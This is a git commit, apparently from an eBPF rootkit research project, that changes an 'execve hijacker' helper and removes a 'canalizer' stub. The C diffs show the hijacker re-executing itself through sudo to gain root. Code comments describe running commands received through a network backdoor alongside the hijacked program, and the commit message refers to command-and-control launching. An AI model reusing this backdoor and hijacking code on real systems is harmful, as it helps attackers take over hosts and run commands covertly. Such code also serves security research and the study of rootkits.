Now the execve hijacker works without needing a canalizer. Removed it. Also some additional tweaks to the c&c launching of the helper

This commit is contained in:
h3xduck
2022-02-19 11:57:32 -05:00
parent 8e97624326
commit 1ec4ed8486
12 changed files with 2072 additions and 2086 deletions

View File

@@ -3,13 +3,7 @@ HEADERS = lib/RawTCP.h
EXTRA_CFLAGS= -I$(PWD)/lib
default:
make execve_hijack execve_hijack_canalizer
execve_hijack_canalizer.o: execve_hijack_canalizer.c
gcc -c execve_hijack_canalizer.c
execve_hijack_canalizer: execve_hijack_canalizer.o
gcc -o execve_hijack_canalizer execve_hijack_canalizer.o
make execve_hijack
execve_hijack.o: execve_hijack.c $(HEADERS)
gcc -c execve_hijack.c
@@ -19,6 +13,4 @@ execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
clean:
-rm -f execve_hijack.o
-rm -f execve_hijack
-rm -f execve_hijack_canalizer.o
-rm -f execve_hijack_canalizer
-rm -f execve_hijack

Binary file not shown.

View File

@@ -64,8 +64,22 @@ char* getLocalIpAddress(){
return IPbuffer;
}
int main(int argc, char* argv[]){
int main(int argc, char* argv[], char *envp[]){
printf("Hello world from execve hijacker\n");
for(int ii=0; ii<argc; ii++){
printf("Argument %i is %s\n", ii, argv[ii]);
}
if(geteuid() != 0){
//We do not have privileges, but we do want them. Let's rerun the program now.
char* args[argc+1];
args[0] = "sudo";
for(int ii=0; ii<argc; ii++){
args[ii+1] = argv[ii];
}
execve("/usr/bin/sudo", args, envp);
}
time_t rawtime;
struct tm * timeinfo;
@@ -74,10 +88,6 @@ int main(int argc, char* argv[]){
timeinfo = localtime ( &rawtime );
char* timestr = asctime(timeinfo);
for(int ii=0; ii<argc; ii++){
printf("Argument %i is %s\n", ii, argv[ii]);
}
//We proceed to fork() and exec the original program, whilst also executing the one we
//ordered to execute via the network backdoor
//int bpf_map_fd = bpf_map_get_fd_by_id()

Binary file not shown.

Binary file not shown.

View File

@@ -1,11 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char* argv[], char *envp[]){
printf("Hello world from the canalizer\n");
char* args[] = {"sudo", "/home/osboxes/TFG/src/helpers/execve_hijack", NULL};
execve("/usr/bin/sudo", args, envp);
return 0;
}